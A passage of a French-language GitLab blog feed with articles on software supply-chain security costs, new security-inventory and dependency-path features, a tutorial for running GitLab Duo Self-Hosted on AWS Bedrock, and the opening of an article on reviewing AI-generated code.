<li>De nombreuses heures d'ingénierie sont consacrées chaque année à la correction des failles de sécurité et non au développement de produits.</li>
</ul>
<p><strong>Des attaques qui nuisent à la réputation des entreprises</strong></p>
<p>Lorsque votre chaîne d'approvisionnement logicielle est compromise, il n'est pas uniquement question de données volées, c'est la confiance des clients qui est ébranlée. En moyenne, le <a href="https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach">taux d'attrition des clients augmente de 33 % après une atteinte à la sécurité</a>, tandis que le maintien de bonnes relations avec les partenaires nécessite souvent des recertifications coûteuses. Le positionnement concurrentiel en pâtit, car les prospects choisissent des alternatives qu'ils perçoivent comme « plus sûres ».</p>
<p><strong>Une pression réglementaire en forte augmentation</strong></p>
<p>Les réglementations se sont radicalement renforcées ces dernières années. <a href="https://www.skillcast.com/blog/20-biggest-gdpr-fines">Les amendes liées au non-respect du RGPD dépassent désormais en moyenne les 50 millions de dollars pour les violations de données importantes</a>. Le nouveau <a href="https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-(cra)">Règlement sur la cyberrésilience</a> de l'Union européenne impose des obligations de transparence au niveau de la chaîne d'approvisionnement. Les entrepreneurs qui honorent des contrats avec le gouvernement fédéral américain sont tenus de fournir une nomenclature logicielle (<a href="https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/">SBOM</a>) pour chaque achat de logiciels, une exigence qui s'impose rapidement dans le secteur privé également.</p>
<p><strong>Une multiplication des perturbations opérationnelles</strong></p>
<p>Au-delà des coûts directs, les attaques de la chaîne d'approvisionnement logicielle déclenchent souvent un chaos opérationnel : arrêt des plateformes pendant la phase de remédiation, audits de sécurité d'urgence sur l'ensemble de la pile technologique, frais juridiques liés aux poursuites engagées par les clients et aux enquêtes réglementaires.</p>
<h2>Des approches inadaptées</h2>
<p>La plupart des entreprises confondent activité de sécurité et impact sur la sécurité. Elles déploient des scanners, génèrent des rapports interminables et relancent les équipes via un processus manuel pour qu'elles mettent en place les corrections nécessaires. Mais ces efforts ont souvent l’effet inverse de celui recherché : ils génèrent plus de problèmes qu'ils n'en résolvent.</p>
<h3>Scanning massif ou protection efficace</h3>
<p>Les entreprises génèrent plus de <a href="https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/">10 000 alertes de sécurité chaque mois, et les plus actives produisent environ 150 000 événements par jour</a>. Mais <a href="https://panther.com/blog/identifying-and-mitigating-false-positive-alerts">63 % de ces alertes</a> sont des faux positifs ou ne font pas partie des priorités. Les équipes de sécurité sont submergées : elles n'arrivent plus à suivre le rythme et leur rôle de facilitateur s'en trouve compromis.</p>
<h3>Une collaboration ralentie</h3>
<p>Les entreprises les plus sécurisées ne sont pas celles qui disposent du plus grand nombre d'outils, mais celles qui bénéficient de la meilleure collaboration DevSecOps. Or, la plupart des configurations actuelles ne sont pas adaptées, car les workflows sont divisés entre des outils incompatibles, les développeurs n'ont pas accès aux résultats de sécurité dans leur environnement et les différentes équipes n'ont aucune visibilité sur les risques et l'impact métier.</p>
<h2>La voie à suivre</h2>
<p>Comprendre ces défis est la première étape vers la mise en place d'une sécurité efficace de la chaîne d'approvisionnement logicielle. Les entreprises les plus performantes ne multiplient pas les outils de sécurité, elles repensent en profondeur la façon dont elles intègrent la sécurité à leurs workflows de développement. Elles s'attachent à simplifier les processus, à réduire la complexité technologique et à renforcer la collaboration entre les équipes.</p>
<p>La plateforme DevSecOps unifiée de GitLab permet de relever ces défis en intégrant la sécurité directement au workflow de développement logiciel, en s'appuyant sur des capacités natives conçues pour les développeurs et en tirant parti de l'automatisation alimentée par l'IA. Dans le prochain article de cette série, nous vous expliquerons comment les entreprises leaders mettent concrètement en œuvre cette approche pour renforcer la sécurité de leur chaîne d'approvisionnement logicielle.</p>
<blockquote>
<p>Pour en savoir plus, consultez également notre page web sur les <a href="https://about.gitlab.com/fr-fr/solutions/supply-chain/">solutions de sécurité GitLab dédiées à la chaîne d'approvisionnement logicielle</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Itzik Gan Baruch</name>
            <uri>https://about.gitlab.com/blog/authors/itzik-gan baruch</uri>
        </author>
        <published>2025-08-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Réconcilier visibilité et sécurité dans la chaîne logicielle]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security/"/>
        <updated>2025-08-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>La dernière version de GitLab (<a href="https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/">GitLab 18.2.0</a>) comprend deux nouvelles fonctionnalités majeures pour renforcer la sécurité de votre chaîne d'approvisionnement logicielle : l'inventaire de sécurité et la visualisation des chemins de dépendances.</p>
<p>Avec l'inventaire de sécurité, les équipes de sécurité applicative ont une vue unifiée des risques et de la couverture des scans à l'échelle des groupes et projets GitLab. Elles bénéficient ainsi d'une meilleure visibilité pour identifier les zones non couvertes et prioriser les mesures correctives. La visualisation des chemins de dépendances, quant à elle, offre une vue détaillée du chemin par lequel les vulnérabilités open source sont introduites via la chaîne de dépendances. Ainsi, il devient plus facile d'identifier la correction la plus efficace.</p>
<p>Grâce à ces deux fonctionnalités, les équipes de sécurité et de développement sont en mesure de renforcer la sécurité de leurs applications, puisqu'elles disposent d'une visibilité accrue sur les risques, d'un contexte clair pour choisir les mesures correctives à appliquer et de workflows intégrés qui favorisent la collaboration. Contrairement à d'autres solutions, tout est centralisé sur la plateforme que les développeurs utilisent déjà pour écrire, réviser et déployer leur code. Cette approche intégrée élimine le besoin d'intégrations complexes et offre une expérience DevSecOps fluide et unifiée.</p>
<h2>L'open source : une surface d'attaque plus exposée</h2>
<p>Les applications modernes s'appuient <a href="https://about.gitlab.com/fr-fr/developer-survey/">massivement</a> sur des logiciels open source. Or, cette dépendance n'est pas sans risque : certains composants peuvent être obsolètes, souffrir d'un manque de maintenance ou exposer des vulnérabilités à l'insu des développeurs. C'est pourquoi l'analyse de la composition logicielle (SCA) s'impose comme la pierre angulaire des programmes de sécurité des applications modernes.</p>
<p>La gestion efficace du <em>risque de dépendance transitive</em> représente un défi de taille pour les équipes chargées de détecter les vulnérabilités. Ces composants, souvent cachés au plus profond de la chaîne de dépendances, compliquent l'identification de l'origine d'une vulnérabilité ou du composant à mettre à jour pour y remédier. Pire encore, ils sont responsables de près de <a href="https://arxiv.org/abs/2503.22134?">deux tiers</a> des vulnérabilités open source connues. Faute de visibilité complète sur les chemins de dépendances, les équipes doivent se contenter d'hypothèses, ce qui retarde l'application de mesures correctives et accroît les risques.</p>
<blockquote>
<p>Les dépendances transitives, c'est-à-dire les paquets que votre application utilise indirectement, sont automatiquement intégrées par les dépendances directes que vous incluez explicitement. Ces dépendances imbriquées peuvent introduire des vulnérabilités sans que le développeur n'en ait conscience.</p>
</blockquote>
<p>Ce défi prend une tout autre dimension à grande échelle. Lorsqu'une équipe de sécurité doit superviser des centaines, voire des milliers, de dépôts, chacun avec ses propres dépendances, pipelines de compilation et propriétaires, il devient extrêmement difficile de répondre aux questions fondamentales sur la posture de sécurité applicative. Dans un contexte où les menaces qui pèsent sur la chaîne d'approvisionnement logicielle se multiplient, et où les vulnérabilités peuvent se propager à travers les systèmes par le biais de bibliothèques partagées et de configurations CI/CD, ce manque de visibilité a des conséquences encore plus importantes.</p>
<h2>Inventaire de sécurité : une visibilité évolutive</h2>
<p>L'inventaire de sécurité regroupe les informations sur les risques de l'ensemble de vos groupes et projets dans une vue unifiée. Il met en évidence les ressources couvertes par des scans de sécurité, ainsi que celles qui y échappent. Plutôt que de traiter les vulnérabilités de manière isolée, les équipes de sécurité peuvent évaluer la posture de manière globale et identifier les domaines sur lesquels concentrer leurs efforts.</p>
<p>Ce niveau de centralisation s'avère particulièrement important pour les entreprises qui gèrent un grand nombre de dépôts. Il permet aux équipes chargées de la plateforme et de la sécurité applicative de localiser précisément les risques en révélant les projets non analysés ou insuffisamment protégés, tout en ouvrant la voie à des actions directes depuis l'interface. Grâce à un contexte complet, les équipes identifient rapidement les applications les plus exposées pour les traiter efficacement. En consolidant des données jusque-là dispersées en une source unique de vérité, l'inventaire de sécurité transforme la gestion des vulnérabilités d'une posture réactive à une gouvernance stratégique guidée par les données.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png" alt="Affichage de l'inventaire de sécurité"></p>
<h2>Visualisation des chemins de dépendances : la visibilité pour une remédiation efficace</h2>
<p>L'inventaire de sécurité offre une vision globale des risques ; la visualisation des chemins de dépendances montre comment y remédier.</p>
<p>Lorsqu'une vulnérabilité est située au plus profond d'une chaîne de dépendances, déterminer la bonne approche pour la corriger devient un véritable casse-tête. La plupart des outils de sécurité mettent en évidence le paquet vulnérable, mais sans indiquer par quel biais il s'est introduit dans le code source. Les équipes de développement se retrouvent à tâtonner entre dépendances directes et transitives, ce qui complique l'analyse et risque d'aboutir à des correctifs inadaptés.</p>
<p>La nouvelle visualisation des chemins de dépendances intégrée à la version 18.2.0 de GitLab, parfois appelée graphique de dépendances, dévoile à l'issue d'un scan SCA le parcours complet depuis un paquet principal jusqu'au composant vulnérable. Cette visibilité est essentielle, en particulier compte tenu de l'omniprésence des vulnérabilités profondément ancrées dans les chaînes de dépendances. Directement intégrée aux workflows GitLab, cette fonctionnalité fournit aux équipes de développement des informations précises et immédiatement exploitables, sans que ces dernières doivent quitter leur environnement de travail ni émettre des hypothèses. Les équipes de sécurité peuvent hiérarchiser plus efficacement les problèmes, tandis que les développeurs ont l'assurance que les remédiations ciblent enfin les causes profondes.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png" alt="Aperçu de la visualisation des chemins de dépendances"></p>
<h2>La sécurité intégrée au développement : des risques maîtrisés en amont</h2>
<p>Ces fonctionnalités s'inscrivent dans la stratégie globale de GitLab qui vise à intégrer la sécurité au sein même de la plateforme où le code est planifié, compilé et déployé. En intégrant les informations de sécurité au cœur du workflow DevSecOps, GitLab réduit les points de friction et renforce la collaboration entre les équipes de développement et de sécurité.</p>
<p>L'inventaire de sécurité et la visualisation des chemins de dépendances offrent des perspectives complémentaires : le premier permet une surveillance évolutive, la seconde facilite des mesures de correction ciblées. Ces deux fonctionnalités combinées aident les équipes à concentrer leurs efforts sur les priorités réelles et à combler les lacunes lors de l'analyse des risques, sans complexifier l'environnement avec des outils ou intégrations supplémentaires.</p>
<blockquote>
<p>Prenez en main l'inventaire de sécurité et la visualisation des chemins de dépendances dès aujourd'hui ! Inscrivez-vous à un <a href="https://about.gitlab.com/fr-fr/free-trial/">essai gratuit de GitLab Ultimate</a>.</p>
</blockquote>
<h2>En savoir plus</h2>
<ul>
<li><a href="https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/">Sortie de GitLab 18.2.0</a></li>
<li><a href="https://about.gitlab.com/fr-fr/solutions/security-compliance/">Solutions de sécurité GitLab</a></li>
<li><a href="https://about.gitlab.com/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/">Guide pratique sur les vecteurs de menaces dans la chaîne d'approvisionnement logicielle</a></li>
</ul>
]]></content>
        <author>
            <name>Salman Ladha</name>
            <uri>https://about.gitlab.com/blog/authors/salman-ladha</uri>
        </author>
        <published>2025-08-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Maîtrisez votre IA : utilisez les modèles GitLab Duo Self-Hosted avec AWS Bedrock]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-duo-self-hosted-models-on-aws-bedrock/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-self-hosted-models-on-aws-bedrock/"/>
        <updated>2025-08-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Alors que les entreprises adoptent les capacités d'IA pour accélérer leur
cycle de développement logiciel, elles font souvent face à un défi critique
: exploiter l'IA tout en conservant le contrôle de leurs données, de leur
infrastructure et de leur posture de sécurité. C'est là que GitLab Duo
Self-Hosted entre en jeu.</p>
<p>Dans cet article, nous allons parcourir l'implémentation des modèles <a href="https://about.gitlab.com/fr-fr/gitlab-duo/" title="Qu'est-ce que GitLab Duo Self-Hosted ?">GitLab Duo Self-Hosted</a> pour aider les entreprises à respecter des exigences strictes de souveraineté des données tout en tirant parti du développement assisté par IA. L'accent est mis sur l'utilisation de modèles hébergés sur AWS Bedrock plutôt que sur la mise en place d'une solution de service <a href="https://about.gitlab.com/fr-fr/blog/large-language-model/" title="Qu'est-ce qu'un LLM ?">LLM</a> comme vLLM. Cependant, la méthodologie peut être appliquée aux modèles fonctionnant dans votre propre centre de données si vous disposez des capacités nécessaires.</p>
<blockquote>
<p>Consultez le replay de notre webinaire <strong><a href="https://webcasts.gitlab.com/e/676ce079-bcfb-4bfe-8288-5d6fa224bbe4/stage/broadcast/f01358fd-8277-4733-b45d-703e6db8fe9d">GitLab Duo : une IA en auto hébergé respectueuse de la confidentialité des données</a></strong>.</p>
</blockquote>
<h2>Pourquoi GitLab Duo Self-Hosted ?</h2>
<p>GitLab Duo Self-Hosted permet de déployer les capacités d'IA de GitLab au sein de votre propre infrastructure, que ce soit sur site, dans un cloud privé ou au sein de votre environnement sécurisé.</p>
<h3>Quels sont les principaux avantages ?</h3>
<p><strong>Confidentialité et contrôle complets des données :</strong> conservez le code sensible et la propriété intellectuelle dans votre périmètre de sécurité, en garantissant qu'aucune donnée ne quitte votre environnement.</p>
<p><strong>Flexibilité des modèles :</strong> choisissez parmi une variété de modèles adaptés à vos besoins spécifiques de performance et à vos cas d'usage, notamment les familles Anthropic Claude, Meta Llama, Mistral et OpenAI GPT.</p>
<p><strong>Conformité réglementaire :</strong> respectez les exigences réglementaires dans les industries hautement réglementées où les données doivent rester dans des limites géographiques spécifiques.</p>
<p><strong>Personnalisation :</strong> configurez les fonctionnalités GitLab Duo qui utilisent des modèles spécifiques pour optimiser les performances et les coûts.</p>
<p><strong>Flexibilité de déploiement :</strong> déployez dans des environnements complètement isolés, sur site ou dans des environnements cloud sécurisés.</p>
<h2>Vue d'ensemble de l'architecture</h2>
<p>La solution GitLab Duo Self-Hosted comprend trois composants principaux :</p>
<ol>
<li>
<p><strong>Une instance GitLab Self-Managed :</strong> votre instance GitLab existante où les utilisateurs interagissent avec les fonctionnalités de GitLab Duo.</p>
</li>
<li>
<p><strong>Une passerelle d’IA (AI-Gateway):</strong> un service qui achemine les requêtes entre GitLab et votre backend LLM choisi.</p>
</li>
<li>
<p><strong>Un backend LLM :</strong> le service de modèle IA proprement dit, qui, dans cet article, sera AWS Bedrock. Note : vous pouvez utiliser une <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/">autre plateforme de service</a> si vous fonctionnez sur site ou utilisez un autre fournisseur cloud.</p>
</li>
</ol>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/jws4h2kakflfrczftypj.png" alt="Schéma de flux réseau en environnement air-gapped"></p>
<h2>Prérequis</h2>
<p>Avant de commencer, vous aurez besoin :</p>
<ul>
<li>
<p>D’une instance GitLab Premium ou GitLab Ultimate (version 17.10 ou ultérieure)</p>
<ul>
<li>Nous recommandons fortement d'utiliser la dernière version de GitLab car nous ajoutons continuellement de nouvelles fonctionnalités à notre plateforme.</li>
</ul>
</li>
<li>
<p>D’une licence complémentaire GitLab Duo Enterprise</p>
</li>
<li>
<p>D’un compte AWS avec accès aux modèles Bedrock ou votre clé API et identifiants nécessaires pour interroger votre modèle de service LLM</p>
</li>
</ul>
<p>Note : si vous n'êtes pas encore client GitLab, vous pouvez vous inscrire pour bénéficier d'un <a href="https://about.gitlab.com/fr-fr/free-trial/?hosted=saas">essai gratuit de GitLab Ultimate</a>, qui inclut GitLab Duo Enterprise.</p>
<h2>Étapes d'implémentation</h2>
<h3>1. Installez la passerelle d’IA</h3>
<p>La passerelle d’IA (ou AI-Gateway) est le composant qui achemine les requêtes entre votre instance GitLab et votre infrastructure de service LLM, ici AWS Bedrock. Il peut s'exécuter dans une image Docker. Suivez les instructions de notre <a href="https://docs.gitlab.com/install/install_ai_gateway/">documentation d'installation</a> pour commencer.</p>
<p>Pour cet exemple, utilisant AWS Bedrock, vous devez également transmettre l’identifiant AWS et la clé d'accès secrète, ainsi que la région AWS.</p>
<pre><code class="language-yaml">
AIGW_TAG=self-hosted-v18.1.2-ee`


docker run -d -p 5052:5052 \

   -e AIGW_GITLAB_URL=&lt;your_gitlab_instance&gt; \

   -e AIGW_GITLAB_API_URL=https://&lt;your_gitlab_domain&gt;/api/v4/ \

   -e AWS_ACCESS_KEY_ID=$AWS_KEY_ID

   -e AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY \

   -e AWS_REGION_NAME=$AWS_REGION_NAME \

registry.gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/model-gateway:$AIGW_TAG \

</code></pre>
<p>Voici la <a href="https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/tags">liste </a>des <code>AIGW_TAG</code>.</p>
<p>Dans cet exemple, nous utilisons Docker, mais il est également possible d'utiliser le chart Helm. Consultez notre <a href="https://docs.gitlab.com/install/install_ai_gateway/#install-by-using-helm-chart">documentation d'installation</a> pour plus d'informations.</p>
<h3>2. Configurez GitLab pour accéder à la passerelle d’IA</h3>
<p>Maintenant que la passerelle d’IA (AI-Gateway) est en cours d'exécution, vous devez configurer votre instance GitLab pour l'utiliser.</p>
<ol>
<li>
<p>Dans la barre latérale gauche, en bas, sélectionnez <strong>Admin</strong>.</p>
</li>
<li>
<p>Sélectionnez <strong>GitLab Duo</strong>.</p>
</li>
<li>
<p>Dans la section GitLab Duo, sélectionnez <strong>Modifier la configuration</strong>.</p>
</li>
<li>
<p>Sous <strong>URL locale de la passerelle d’IA</strong>, entrez l'URL de votre passerelle et le port du conteneur (par exemple, <code>https://ai-gateway.example.com:5052</code>).</p>
</li>
<li>
<p>Sélectionnez <strong>Enregistrer les modifications</strong>.</p>
</li>
</ol>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/xj9kvljkqsacpsw41k4a.png" alt="Configuration de GitLab pour accéder au AI-Gateway"></p>
<h3>3. Accédez aux modèles depuis AWS Bedrock</h3>
<p>Ensuite, demandez l'accès aux modèles disponibles sur AWS Bedrock.</p>
<ol>
<li>
<p>Naviguez vers votre compte AWS et Bedrock.</p>
</li>
<li>
<p>Sous <strong>Accès aux modèles</strong>, sélectionnez les modèles que vous souhaitez utiliser et suivez les instructions pour obtenir l'accès.</p>
</li>
</ol>
<p>Vous trouverez plus d'informations dans la <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/getting-started.html">documentation AWS Bedrock</a>.</p>
<h3>4. Configurez le modèle auto-hébergé</h3>
<p>Maintenant, configurons un modèle AWS Bedrock spécifique pour l'utiliser avec GitLab Duo.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/chrlgdvxwdetcszptsav.png" alt="Ajout d’un modèle auto-hébergé"></p>
<ol>
<li>
<p>Dans la barre latérale gauche, en bas, sélectionnez <strong>Admin</strong>.</p>
</li>
<li>
<p>Sélectionnez <strong>GitLab Duo Self-Hosted</strong>.</p>
</li>
<li>
<p>Sélectionnez <strong>Ajouter un modèle auto-hébergé</strong>.</p>
</li>
<li>
<p>Remplissez les champs suivants :</p>
<ul>
<li><strong>Nom du déploiement :</strong> un nom pour identifier cette configuration de modèle (par exemple, « Mixtral 8x7B »)</li>
<li><strong>Plateforme :</strong> choisissez AWS Bedrock</li>
<li><strong>Famille de modèles :</strong> sélectionnez un modèle, par exemple « Mixtral »</li>
<li><strong>Identifiant du modèle :</strong> <code>bedrock/identifiant-du-modèle</code> depuis la <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/">liste</a> supportée.</li>
</ul>
</li>
<li>
<p>Sélectionnez <strong>Créer le modèle auto-hébergé</strong>.</p>
</li>
</ol>
<h3>5. Configurez les fonctionnalités GitLab Duo pour utiliser votre modèle auto-hébergé</h3>
<p>Après avoir configuré votre modèle, assignez-le aux fonctionnalités GitLab Duo spécifiques.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/an2i9s2p9cja2xx27g4z.png" alt="Configuration des fonctionnalités GitLab Duo Self-Hosted"></p>
<ol>
<li>
<p>Dans la barre latérale gauche, en bas, sélectionnez <strong>Admin</strong>.</p>
</li>
<li>
<p>Sélectionnez <strong>GitLab Duo Self-Hosted</strong>.</p>
</li>
<li>
<p>Sélectionnez l'onglet <strong>Fonctionnalités alimentées par l'IA</strong>.</p>
</li>
<li>
<p>Pour chaque fonctionnalité (par exemple, suggestions de code, GitLab Duo Chat) et sous-fonctionnalité (par exemple, génération de code, explication du code), sélectionnez le modèle que vous venez de configurer dans le menu déroulant.</p>
</li>
</ol>
<p>Par exemple, vous pourriez assigner Mixtral 8x7B aux tâches de génération de code et Claude 3 Sonnet à la fonctionnalité GitLab Duo Chat. Consultez notre <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/">documentation</a> sur les exigences pour sélectionner le bon modèle en fonction de votre usage depuis la liste de compatibilité des modèles par fonctionnalité de GitLab Duo.</p>
<h2>Vérification de votre configuration</h2>
<p>Pour vous assurer que votre implémentation de GitLab Duo Self-Hosted avec AWS Bedrock fonctionne correctement, effectuez les vérifications suivantes :</p>
<h3>1. Lancez une vérification de l’état des services</h3>
<p>Après avoir lancé une vérification de l’état des services de votre modèle pour vous assurer qu'il est opérationnel, retournez à la section <strong>GitLab Duo</strong> depuis la page <strong>Admin</strong> et cliquez sur <strong>Lancer la vérification de l'état des services</strong> (Run health check).</p>
<p>Cela permet de vérifier si :</p>
<ul>
<li>
<p>L'URL de la passerelle d’IA est correctement configurée.</p>
</li>
<li>
<p>Votre instance peut se connecter à la passerelle d’IA.</p>
</li>
<li>
<p>La licence GitLab Duo est activée.</p>
</li>
<li>
<p>Un modèle est assigné aux suggestions de code (car c'est le modèle utilisé pour tester la connexion).</p>
</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/yffw21yhjpwummw1ffsw.png" alt="Lancement d’une vérification de l’état des services"></p>
<p>Si l'état des services signale des problèmes, consultez notre <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/troubleshooting/">guide de dépannage</a> pour découvrir les erreurs courantes.</p>
<h3>2. Testez les fonctionnalités de GitLab Duo</h3>
<p>Essayez quelques fonctionnalités de GitLab Duo pour vous assurer qu'elles fonctionnent :</p>
<ul>
<li>
<p>Dans l'interface utilisateur, ouvrez GitLab Duo Chat et posez-lui une question.</p>
</li>
<li>
<p>Ouvrez le Web IDE</p>
</li>
<li>
<p>Créez un nouveau fichier de code et voyez si les suggestions de code apparaissent.</p>
</li>
<li>
<p>Sélectionnez un extrait de code et utilisez la commande <code>/explain</code> pour recevoir une explication de GitLab Duo Chat.</p>
</li>
</ul>
<h3>3. Vérifiez les logs de la passerelle d’IA</h3>
<p>Examinez les logs de la passerelle d’IA pour voir les requêtes arrivant à la passerelle depuis le modèle sélectionné.</p>
<p>Dans votre terminal, exécutez :</p>
<pre><code class="language-yaml">
docker logs &lt;ai-gateway-container-id&gt;

</code></pre>
<p><strong>Optionnel :</strong> dans AWS, vous pouvez <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html">activer CloudWatch et S3 comme destinations de logs</a>. Cela vous permettra de voir toutes vos requêtes, prompts et réponses dans CloudWatch.</p>
<p><strong>Avertissement :</strong> gardez à l'esprit que l'activation de ces logs dans AWS enregistre les données utilisateur, ce qui peut ne pas être conforme aux règles de confidentialité.</p>
<p>Et voilà, vous avez maintenant un accès complet à l'utilisation des fonctionnalités d’IA de GitLab Duo sur toute la plateforme tout en conservant un contrôle total sur le flux de données opérant au sein du cloud AWS sécurisé.</p>
<h2>Prochaines étapes</h2>
<h3>Sélectionnez le bon modèle pour chaque cas d'usage</h3>
<p>L'équipe GitLab teste activement les performances de chaque modèle pour chaque fonctionnalité et fournit un <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/#supported-models">classement par niveau de performance et d'adéquation des modèles selon la fonctionnalité</a> :</p>
<ul>
<li>
<p><strong>Entièrement compatible :</strong> le modèle peut probablement gérer la fonctionnalité sans aucune perte de qualité.</p>
</li>
<li>
<p><strong>Largement compatible :</strong> le modèle prend en charge la fonctionnalité, mais il peut y avoir des compromis ou des limitations.</p>
</li>
<li>
<p><strong>Non compatible :</strong> le modèle ne convient pas à la fonctionnalité, entraînant probablement une perte significative de qualité ou des problèmes de performance.</p>
</li>
</ul>
<p>À ce jour, la plupart des fonctionnalités GitLab Duo peuvent être configurées avec Self-Hosted. La vue d'ensemble complète est disponible dans notre <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/#supported-gitlab-duo-features">documentation</a>.</p>
<h3>Au-delà d'AWS Bedrock</h3>
<p>Bien que ce guide se concentre sur l'intégration AWS Bedrock, GitLab Duo Self-Hosted prend en charge plusieurs options de déploiement :</p>
<ul>
<li>
<p><strong><a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#vllm">Sur site avec vLLM</a> :</strong> éxécutez des modèles localement avec vLLM pour des environnements complètement isolés.</p>
</li>
<li>
<p><strong><a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#for-cloud-hosted-model-deployments">Azure OpenAI Service</a> :</strong> similaire à AWS Bedrock, vous pouvez utiliser Azure OpenAI pour des modèles comme GPT-4.</p>
</li>
</ul>
<h2>Conclusion</h2>
<p>GitLab Duo Self-Hosted offre une solution puissante pour les entreprises qui ont besoin d'outils de développement alimentés par l'IA tout en maintenant un contrôle strict sur leurs données et leur infrastructure. En suivant ce guide d'implémentation, vous pouvez déployer une solution robuste qui répond aux exigences de sécurité et de conformité sans compromettre les capacités avancées que l'IA apporte à votre cycle de développement logiciel.</p>
<p>Pour les entreprises ayant des besoins stricts en matière de sécurité et de conformité, GitLab Duo Self-Hosted trouve l'équilibre parfait entre innovation et contrôle, vous permettant d'exploiter la puissance de l'IA tout en préservant la sécurité de votre code et votre propriété intellectuelle.</p>
<p>Vous souhaitez en savoir plus sur la mise en œuvre de GitLab Duo Self-Hosted dans votre environnement ? <a href="https://about.gitlab.com/fr-fr/sales/">Contactez notre équipe commerciale</a> ou <a href="https://docs.gitlab.com/administration/gitlab_duo_self_hosted/">consultez notre documentation</a> pour obtenir des informations plus détaillées.</p>
<blockquote>
<p>Consultez le replay de notre webinaire <strong><a href="https://webcasts.gitlab.com/e/676ce079-bcfb-4bfe-8288-5d6fa224bbe4/stage/broadcast/f01358fd-8277-4733-b45d-703e6db8fe9d">GitLab Duo : une IA en auto hébergé respectueuse de la confidentialité des données</a></strong>.</p>
</blockquote>
]]></content>
        <author>
            <name>Chloe Cartron</name>
            <uri>https://about.gitlab.com/blog/authors/chloe-cartron</uri>
        </author>
        <author>
            <name>Olivier Dupré</name>
            <uri>https://about.gitlab.com/blog/authors/olivier-dupré</uri>
        </author>
        <published>2025-08-14T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[3 bonnes pratiques pour créer des logiciels à l'ère des LLM]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms/"/>
        <updated>2025-08-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>L'IA s'impose désormais comme un pilier du développement logiciel moderne. En plus d'aider les équipes de développement à coder plus rapidement que jamais, elle automatise les tâches répétitives telles que la génération de scénarios de test ou la synthèse de la documentation. Selon notre <a href="https://about.gitlab.com/fr-fr/developer-survey/">Rapport Global DevSecOps 2024</a>, 81 % des développeurs utilisent déjà l'IA dans leurs workflows ou prévoient de le faire au cours des deux prochaines années.</p>
<p>Étant donné que l'écriture du code devient moins manuelle, un changement de comportement subtil mais non dénué de conséquences émerge : les développeurs commencent à faire confiance au code généré par l'IA sans le vérifier aussi minutieusement qu'auparavant. Aussi compréhensible soit-elle, cette pratique peut introduire des risques de sécurité inaperçus, d'autant plus lorsque le volume global de code augmente. Il serait irréaliste d'attendre des développeurs qu'ils maîtrisent toutes les vulnérabilités ou exploits existants. Ils ont donc besoin de systèmes et de mesures de protection capables d'évoluer à leur rythme. Les outils d'IA ne sont pas une mode transitoire, ils sont là pour durer. Les professionnels de la sécurité doivent donner aux équipes de développement les moyens de les adopter de manière à améliorer à la fois leur rapidité, leur efficacité, mais aussi la sécurité.</p>
<p>Voici trois bonnes pratiques pour y parvenir.</p>
<h2>Ne jamais faire confiance sans vérifier</h2>
<p>Comme nous l'avons évoqué dans l'introduction, les équipes de développement ont tendance à accorder une confiance croissante au code généré par l'IA, en particulier lorsqu'il semble bien structuré et se compile sans erreur. Pour lutter contre ce relâchement, adoptez un état d'esprit Zero Trust. Bien que le principe du <a href="https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/">Zero Trust</a> soit généralement associé à la gestion des identités et des accès, ce concept s'applique aussi au code généré par l'IA, mais avec une nuance notable : il faut le traiter comme s'il s'agissait d'un code écrit par un développeur junior. Il peut être utile, mais il ne doit jamais être déployé en production sans une revue rigoureuse.</p>
